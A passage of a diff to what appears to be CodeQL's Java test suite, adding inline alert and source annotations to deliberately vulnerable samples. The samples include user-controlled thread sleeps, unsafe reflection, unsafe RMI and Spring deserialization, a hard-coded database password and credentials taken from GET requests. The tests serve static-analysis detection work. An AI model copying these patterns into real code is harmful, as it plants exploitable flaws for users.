resultStr; + return resultStr; // $ Alert } @RequestMapping(value = "jsonp11") @@ -158,4 +158,4 @@ public class JsonpController { public static String getJsonStr(Object result) { return JSONObject.toJSONString(result); } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-352/JsonpInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-352/JsonpInjection.qlref index 15b579b57ea..86da535af89 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-352/JsonpInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-352/JsonpInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-352/JsonpInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-400/LocalThreadResourceAbuse.qlref b/java/ql/test/experimental/query-tests/security/CWE-400/LocalThreadResourceAbuse.qlref index 12c247f1f3b..95485a215fe 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-400/LocalThreadResourceAbuse.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-400/LocalThreadResourceAbuse.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-400/LocalThreadResourceAbuse.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.java b/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.java index e5cd70c42f2..44d25320eef 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.java +++ b/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.java @@ -15,7 +15,7 @@ public class ThreadResourceAbuse extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: Get thread pause time from request parameter without validation - String delayTimeStr = request.getParameter("DelayTime"); + String delayTimeStr = request.getParameter("DelayTime"); // $ Source[java/thread-resource-abuse] try { int delayTime = Integer.valueOf(delayTimeStr); new UncheckedSyncAction(delayTime).start(); @@ -26,7 +26,7 @@ public class ThreadResourceAbuse extends HttpServlet { protected void doGet2(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: Get thread pause time from request parameter without validation try { - int delayTime = request.getParameter("nodelay") != null ? 0 : Integer.valueOf(request.getParameter("DelayTime")); + int delayTime = request.getParameter("nodelay") != null ? 0 : Integer.valueOf(request.getParameter("DelayTime")); // $ Source[java/thread-resource-abuse] new UncheckedSyncAction(delayTime).start(); } catch (NumberFormatException e) { } @@ -34,7 +34,7 @@ public class ThreadResourceAbuse extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: Get thread pause time from context init parameter without validation - String delayTimeStr = getServletContext().getInitParameter("DelayTime"); + String delayTimeStr = getServletContext().getInitParameter("DelayTime"); // $ Source[java/local-thread-resource-abuse] try { int delayTime = Integer.valueOf(delayTimeStr); new UncheckedSyncAction(delayTime).start(); @@ -71,7 +71,7 @@ public class ThreadResourceAbuse extends HttpServlet { public void run() { // BAD: no boundary check on wait time try { - Thread.sleep(waitTime); + Thread.sleep(waitTime); // $ Alert[java/thread-resource-abuse] Alert[java/local-thread-resource-abuse] // Do other updates } catch (InterruptedException e) { } @@ -138,10 +138,10 @@ public class ThreadResourceAbuse extends HttpServlet { Cookie cookie = cookies[i]; if (cookie.getName().equals("DelayTime")) { - String delayTimeStr = cookie.getValue(); + String delayTimeStr = cookie.getValue(); // $ Source[java/thread-resource-abuse] try { int delayTime = Integer.valueOf(delayTimeStr); - TimeUnit.MILLISECONDS.sleep(delayTime); + TimeUnit.MILLISECONDS.sleep(delayTime); // $ Alert[java/thread-resource-abuse] // Do other updates } catch (NumberFormatException ne) { } catch (InterruptedException ie) { @@ -169,11 +169,11 @@ public class ThreadResourceAbuse extends HttpServlet { protected void doHead2(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: Get thread pause time from request header without validation - String header = request.getHeader("Retry-After"); + String header = request.getHeader("Retry-After"); // $ Source[java/thread-resource-abuse] int retryAfter = Integer.parseInt(header); try { - Thread.sleep(retryAfter); + Thread.sleep(retryAfter); // $ Alert[java/thread-resource-abuse] } catch (InterruptedException ignore) { // ignore } @@ -203,7 +203,7 @@ public class ThreadResourceAbuse extends HttpServlet { protected void doHead4(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: Get thread pause time from request header without validation try { - String uploadDelayStr = request.getParameter("delay"); + String uploadDelayStr = request.getParameter("delay"); // $ Source[java/thread-resource-abuse] int uploadDelay = Integer.parseInt(uploadDelayStr); UploadListener listener = new UploadListener(uploadDelay, getContentLength(request)); @@ -212,11 +212,11 @@ public class ThreadResourceAbuse extends HttpServlet { protected void doHead5(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: Get thread pause time from request header with binary multiplication expression and without validation - String header = request.getHeader("Retry-After"); + String header = request.getHeader("Retry-After"); // $ Source[java/thread-resource-abuse] int retryAfter = Integer.parseInt(header); try { - Thread.sleep(retryAfter * 1000); + Thread.sleep(retryAfter * 1000); // $ Alert[java/thread-resource-abuse] } catch (InterruptedException ignore) { // ignore } @@ -224,13 +224,13 @@ public class ThreadResourceAbuse extends HttpServlet { protected void doHead6(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // BAD: Get thread pause time from request header with multiplication assignment operator and without validation - String header = request.getHeader("Retry-After"); + String header = request.getHeader("Retry-After"); // $ Source[java/thread-resource-abuse] int retryAfter = Integer.parseInt(header); retryAfter *= 1000; try { - Thread.sleep(retryAfter); + Thread.sleep(retryAfter); // $ Alert[java/thread-resource-abuse] } catch (InterruptedException ignore) { // ignore } diff --git a/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.qlref b/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.qlref index caf6f8da85b..bf6365944ba 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-400/ThreadResourceAbuse.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-400/ThreadResourceAbuse.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-400/UploadListener.java b/java/ql/test/experimental/query-tests/security/CWE-400/UploadListener.java index 9e213116872..d6df514518b 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-400/UploadListener.java +++ b/java/ql/test/experimental/query-tests/security/CWE-400/UploadListener.java @@ -32,7 +32,7 @@ public class UploadListener implements ProgressListener, Serializable { // Just a way to slow down the upload process and see the progress bar in fast networks. if (slowUploads > 0 && done < total) { try { - Thread.sleep(slowUploads); + Thread.sleep(slowUploads); // $ Alert[java/thread-resource-abuse] } catch (Exception e) { } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java b/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java index 6fd6b9ccfa5..213dfa96196 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java +++ b/java/ql/test/experimental/query-tests/security/CWE-470/BadClassLoader.java @@ -12,10 +12,10 @@ public class BadClassLoader extends Application { for (PackageInfo p : getPackageManager().getInstalledPackages(0)) { try { if (p.packageName.startsWith("some.package.")) { - Context appContext = createPackageContext(p.packageName, - CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY); + Context appContext = createPackageContext(p.packageName, // $ + CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY); // $ Source[java/android/unsafe-reflection] ClassLoader classLoader = appContext.getClassLoader(); - Object result = classLoader.loadClass("some.package.SomeClass") + Object result = classLoader.loadClass("some.package.SomeClass") // $ Alert[java/android/unsafe-reflection] .getMethod("someMethod") .invoke(null); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-470/LoadClassNoSignatureCheck.qlref b/java/ql/test/experimental/query-tests/security/CWE-470/LoadClassNoSignatureCheck.qlref index 5feabdb8bec..d1d07a95f73 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-470/LoadClassNoSignatureCheck.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-470/LoadClassNoSignatureCheck.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-470/LoadClassNoSignatureCheck.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.java b/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.java index d9dc0573660..2822ad3dff2 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.java @@ -18,11 +18,11 @@ public class UnsafeReflection { @GetMapping(value = "uf1") public void bad1(HttpServletRequest request) { - String className = request.getParameter("className"); + String className = request.getParameter("className"); // $ Source[java/unsafe-reflection] String parameterValue = request.getParameter("parameterValue"); try { Class clazz = Class.forName(className); - Object object = clazz.getDeclaredConstructors()[0].newInstance(parameterValue); //bad + Object object = clazz.getDeclaredConstructors()[0].newInstance(parameterValue); // $ Alert[java/unsafe-reflection] //bad } catch (Exception e) { e.printStackTrace(); } @@ -30,20 +30,20 @@ public class UnsafeReflection { @GetMapping(value = "uf2") public void bad2(HttpServletRequest request) { - String className = request.getParameter("className"); + String className = request.getParameter("className"); // $ Source[java/unsafe-reflection] String parameterValue = request.getParameter("parameterValue"); try { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class clazz = classLoader.loadClass(className); Object object = clazz.newInstance(); - clazz.getDeclaredMethods()[0].invoke(object, parameterValue); //bad + clazz.getDeclaredMethods()[0].invoke(object, parameterValue); // $ Alert[java/unsafe-reflection] //bad } catch (Exception e) { e.printStackTrace(); } } @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"application/json"}, produces = {"application/json"}) - public Object bad3(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map body) throws Exception { + public Object bad3(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map body) throws Exception { // $ Source[java/unsafe-reflection] List rawData = null; try { rawData = (List)body.get("methodInput"); @@ -116,7 +116,7 @@ public class UnsafeReflection { b++; continue; } - Object result = method.invoke(bean, data); + Object result = method.invoke(bean, data); // $ Alert[java/unsafe-reflection] Map map = new HashMap<>(); return map; } diff --git a/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.qlref b/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.qlref index 28822316a90..119312e6ae8 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-470/UnsafeReflection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-470/UnsafeReflection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.java b/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.java index a29a82bb15b..056074f3b35 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.java +++ b/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.java @@ -52,7 +52,7 @@ public class ServiceBean implements SessionBean { } /** Local unit testing code */ - public static void main(String[] args) throws Exception { + public static void main(String[] args) throws Exception { // $ Alert[java/main-method-in-enterprise-bean] ServiceBean b = new ServiceBean(); b.doService(); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.qlref b/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.qlref index 38d09d01cfb..80869cba4ff 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-489/ServiceBean.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-489/EJBMain.ql +query: experimental/Security/CWE/CWE-489/EJBMain.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-489/ServletContextListenerMain.java b/java/ql/test/experimental/query-tests/security/CWE-489/ServletContextListenerMain.java index 38ce153aa5a..71351029f56 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-489/ServletContextListenerMain.java +++ b/java/ql/test/experimental/query-tests/security/CWE-489/ServletContextListenerMain.java @@ -14,7 +14,7 @@ public class ServletContextListenerMain implements ServletContextListener { } // BAD - Implement a main method in servlet listener. - public static void main(String[] args) { + public static void main(String[] args) { // $ Alert[java/main-method-in-web-components] try { URL url = new URL("https://www.example.com"); url.openConnection(); diff --git a/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.java b/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.java index 55b73bd3b72..4f3029b6d13 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.java +++ b/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.java @@ -25,7 +25,7 @@ public class ServletMain implements Servlet { } // BAD - Implement a main method in servlet. - public static void main(String[] args) throws Exception { + public static void main(String[] args) throws Exception { // $ Alert[java/main-method-in-web-components] // Connect to my server URL url = new URL("https://www.example.com"); url.openConnection(); diff --git a/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.qlref b/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.qlref index bf8fc2aacce..71869fb862e 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-489/ServletMain.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-489/WebComponentMain.ql +query: experimental/Security/CWE/CWE-489/WebComponentMain.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/SpringExporterUnsafeDeserialization.java b/java/ql/test/experimental/query-tests/security/CWE-502/SpringExporterUnsafeDeserialization.java index f1b2453ea15..5f5fcd56129 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-502/SpringExporterUnsafeDeserialization.java +++ b/java/ql/test/experimental/query-tests/security/CWE-502/SpringExporterUnsafeDeserialization.java @@ -11,7 +11,7 @@ import org.springframework.remoting.rmi.RmiServiceExporter; public class SpringExporterUnsafeDeserialization { @Bean(name = "/unsafeRmiServiceExporter") - RmiServiceExporter unsafeRmiServiceExporter() { + RmiServiceExporter unsafeRmiServiceExporter() { // $ Alert[java/unsafe-deserialization-spring-exporter-in-configuration-class] RmiServiceExporter exporter = new RmiServiceExporter(); exporter.setServiceInterface(AccountService.class); exporter.setService(new AccountServiceImpl()); @@ -21,7 +21,7 @@ public class SpringExporterUnsafeDeserialization { } @Bean(name = "/unsafeHessianServiceExporter") - HessianServiceExporter unsafeHessianServiceExporter() { + HessianServiceExporter unsafeHessianServiceExporter() { // $ Alert[java/unsafe-deserialization-spring-exporter-in-configuration-class] HessianServiceExporter exporter = new HessianServiceExporter(); exporter.setService(new AccountServiceImpl()); exporter.setServiceInterface(AccountService.class); @@ -29,7 +29,7 @@ public class SpringExporterUnsafeDeserialization { } @Bean(name = "/unsafeHttpInvokerServiceExporter") - HttpInvokerServiceExporter unsafeHttpInvokerServiceExporter() { + HttpInvokerServiceExporter unsafeHttpInvokerServiceExporter() { // $ Alert[java/unsafe-deserialization-spring-exporter-in-configuration-class] HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter(); exporter.setService(new AccountServiceImpl()); exporter.setServiceInterface(AccountService.class); @@ -37,7 +37,7 @@ public class SpringExporterUnsafeDeserialization { } @Bean(name = "/unsafeCustomeRemoteInvocationSerializingExporter") - RemoteInvocationSerializingExporter unsafeCustomeRemoteInvocationSerializingExporter() { + RemoteInvocationSerializingExporter unsafeCustomeRemoteInvocationSerializingExporter() { // $ Alert[java/unsafe-deserialization-spring-exporter-in-configuration-class] return new CustomeRemoteInvocationSerializingExporter(); } @@ -53,7 +53,7 @@ public class SpringExporterUnsafeDeserialization { class SpringBootTestApplication { @Bean(name = "/unsafeHttpInvokerServiceExporter") - HttpInvokerServiceExporter unsafeHttpInvokerServiceExporter() { + HttpInvokerServiceExporter unsafeHttpInvokerServiceExporter() { // $ Alert[java/unsafe-deserialization-spring-exporter-in-configuration-class] HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter(); exporter.setService(new AccountServiceImpl()); exporter.setServiceInterface(AccountService.class); @@ -65,7 +65,7 @@ class SpringBootTestApplication { class SpringBootTestConfiguration { @Bean(name = "/unsafeHttpInvokerServiceExporter") - HttpInvokerServiceExporter unsafeHttpInvokerServiceExporter() { + HttpInvokerServiceExporter unsafeHttpInvokerServiceExporter() { // $ Alert[java/unsafe-deserialization-spring-exporter-in-configuration-class] HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter(); exporter.setService(new AccountServiceImpl()); exporter.setServiceInterface(AccountService.class); diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.java b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.java index 197a1c47843..2f551e1205e 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.java +++ b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.java @@ -12,9 +12,9 @@ public class UnsafeDeserializationRmi { // BAD (bind a remote object that has a vulnerable method) public static void testRegistryBindWithObjectParameter() throws Exception { Registry registry = LocateRegistry.createRegistry(1099); - registry.bind("unsafe", new UnsafeRemoteObjectImpl()); - registry.rebind("unsafe", new UnsafeRemoteObjectImpl()); - registry.rebind("unsafe", UnicastRemoteObject.exportObject(new UnsafeRemoteObjectImpl())); + registry.bind("unsafe", new UnsafeRemoteObjectImpl()); // $ Alert[java/unsafe-deserialization-rmi] + registry.rebind("unsafe", new UnsafeRemoteObjectImpl()); // $ Alert[java/unsafe-deserialization-rmi] + registry.rebind("unsafe", UnicastRemoteObject.exportObject(new UnsafeRemoteObjectImpl())); // $ Alert[java/unsafe-deserialization-rmi] } // GOOD (bind a remote object that has methods that takes safe parameters) @@ -26,8 +26,8 @@ public class UnsafeDeserializationRmi { // BAD (bind a remote object that has a vulnerable method) public static void testNamingBindWithObjectParameter() throws Exception { - Naming.bind("unsafe", new UnsafeRemoteObjectImpl()); - Naming.rebind("unsafe", new UnsafeRemoteObjectImpl()); + Naming.bind("unsafe", new UnsafeRemoteObjectImpl()); // $ Alert[java/unsafe-deserialization-rmi] + Naming.rebind("unsafe", new UnsafeRemoteObjectImpl()); // $ Alert[java/unsafe-deserialization-rmi] } // GOOD (bind a remote object that has methods that takes safe parameters) diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.qlref b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.qlref index f9691113cfa..711338908ee 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeDeserializationRmi.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-502/UnsafeDeserializationRmi.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInConfigurationClass.qlref b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInConfigurationClass.qlref index 823c7735ec5..e58985f0971 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInConfigurationClass.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInConfigurationClass.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-502/UnsafeSpringExporterInConfigurationClass.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-502/UnsafeSpringExporterInConfigurationClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInXMLConfiguration.qlref b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInXMLConfiguration.qlref index 46024a0b6b3..4491a0d3225 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInXMLConfiguration.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-502/UnsafeSpringExporterInXMLConfiguration.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-502/UnsafeSpringExporterInXMLConfiguration.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-502/UnsafeSpringExporterInXMLConfiguration.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml b/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml index fbb936d901d..fc7536c7175 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-502/beans.xml @@ -10,21 +10,21 @@ - + - + - + - + diff --git a/java/ql/test/experimental/query-tests/security/CWE-548/InsecureDirectoryConfig.qlref b/java/ql/test/experimental/query-tests/security/CWE-548/InsecureDirectoryConfig.qlref index ead6d782be8..a6a93025c43 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-548/InsecureDirectoryConfig.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-548/InsecureDirectoryConfig.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-548/InsecureDirectoryConfig.ql +query: experimental/Security/CWE/CWE-548/InsecureDirectoryConfig.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml b/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml index 346f98346b3..3e197e53fca 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-548/insecure-web.xml @@ -16,7 +16,7 @@ listings true - + 1 @@ -26,4 +26,4 @@ / - \ No newline at end of file + diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref index b996de13723..29138b5006d 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-555/PasswordInConfigurationFile.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +query: experimental/Security/CWE/CWE-555/PasswordInConfigurationFile.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml b/java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml index 040c866759b..a4030150cb9 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-555/applicationContext.xml @@ -6,7 +6,7 @@ - + diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml index 6ea601bc6d7..f3e59bfcdb1 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/context.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-555/context.xml @@ -5,7 +5,7 @@ maxTotal="100" maxIdle="30" maxWaitMillis="10000" username="root" password="1234" driverClassName="com.mysql.jdbc.Driver" - url="jdbc:mysql://www.example1.com:3306/proj"/> + url="jdbc:mysql://www.example1.com:3306/proj"/> - \ No newline at end of file + diff --git a/java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml b/java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml index 3569f0d09de..10ad6b30f7c 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml +++ b/java/ql/test/experimental/query-tests/security/CWE-555/custom-config.xml @@ -1,4 +1,4 @@ - + diff --git a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.java b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.java index 2b7386bb600..d1a633be31c 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.java +++ b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.java @@ -9,13 +9,13 @@ public class SensitiveGetQuery extends HttpServlet { // BAD - Tests retrieving sensitive information through `request.getParameter()` in a GET request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String username = request.getParameter("username"); - String password = request.getParameter("password"); + String password = request.getParameter("password"); // $ Source - processUserInfo(username, password); + processUserInfo(username, password); // $ Alert } void processUserInfo(String username, String password) { - System.out.println("username = " + username+"; password "+password); + System.out.println("username = " + username+"; password "+password); // $ Alert } // GOOD - Tests retrieving sensitive information through `request.getParameter()` in a POST request. diff --git a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.qlref b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.qlref index 53c2523e041..20c3e79eb96 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-598/SensitiveGetQuery.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery2.java b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery2.java index 6b4fec0b331..97b929c792f 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery2.java +++ b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery2.java @@ -9,14 +9,14 @@ import javax.servlet.ServletException; public class SensitiveGetQuery2 extends HttpServlet { // BAD - Tests retrieving sensitive information through `request.getParameterMap()` in a GET request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { - Map map = request.getParameterMap(); + Map map = request.getParameterMap(); // $ Source String username = (String) map.get("username"); String password = (String) map.get("password"); - processUserInfo(username, password); + processUserInfo(username, password); // $ Alert } void processUserInfo(String username, String password) { - System.out.println("username = " + username+"; password "+password); + System.out.println("username = " + username+"; password "+password); // $ Alert } // GOOD - Tests retrieving sensitive information through `request.getParameterMap()` in a POST request. diff --git a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery3.java b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery3.java index 5d191bb52b1..e34534236d0 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery3.java +++ b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery3.java @@ -10,11 +10,11 @@ public class SensitiveGetQuery3 extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { String username = getRequestParameter(request, "username"); String password = getRequestParameter(request, "password"); - System.out.println("Username="+username+"; password="+password); + System.out.println("Username="+username+"; password="+password); // $ Alert } String getRequestParameter(HttpServletRequest request, String paramName) { - return request.getParameter(paramName); + return request.getParameter(paramName); // $ Source } // GOOD - Tests retrieving sensitive information through a wrapper call in a POST request. diff --git a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery4.java b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery4.java index 29e94d254d4..4f5399b9e10 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery4.java +++ b/java/ql/test/experimental/query-tests/security/CWE-598/SensitiveGetQuery4.java @@ -13,11 +13,11 @@ public class SensitiveGetQuery4 extends HttpServlet { String tokenType = getRequestParameter(request, "tokenType"); String accessToken = getRequestParameter(request, "accessToken"); System.out.println("Username="+username+"; token="+token+"; tokenType="+tokenType); - System.out.println("AccessToken="+accessToken); + System.out.println("AccessToken="+accessToken); // $ Alert } String getRequestParameter(HttpServletRequest request, String paramName) { - return request.getParameter(paramName); + return request.getParameter(paramName); // $ Source } // GOOD - Tests retrieving non-sensitive tokens and sensitive tokens in a POST request. diff --git a/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.java b/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.java index 1e38c917b0f..63f19ef87a3 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.java +++ b/java/ql/test/experimental/query-tests/security/CWE-600/UncaughtServletException.java @@ -10,11 +10,11 @@ import javax.servlet.ServletException; class UncaughtServletException extends HttpServlet { // BAD - Tests `doGet` without catching exceptions. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { - String ip = request.getParameter("srcIP"); - InetAddress addr = InetAddress.getByName(ip); // getByName(String) throws UnknownHostException + String ip = request.getParameter("srcIP"); // $ Source + InetAddress addr = InetAddress.getByName(ip); // $ Alert // getByName(String) throws UnknownHostException - String userId = request.getRemoteUser(); - Integer.parseInt(userId); // Integer.parse(String) throws RuntimeException + String userId = request.getRemoteUser(); // $ Source + Integer.parseInt(userId); 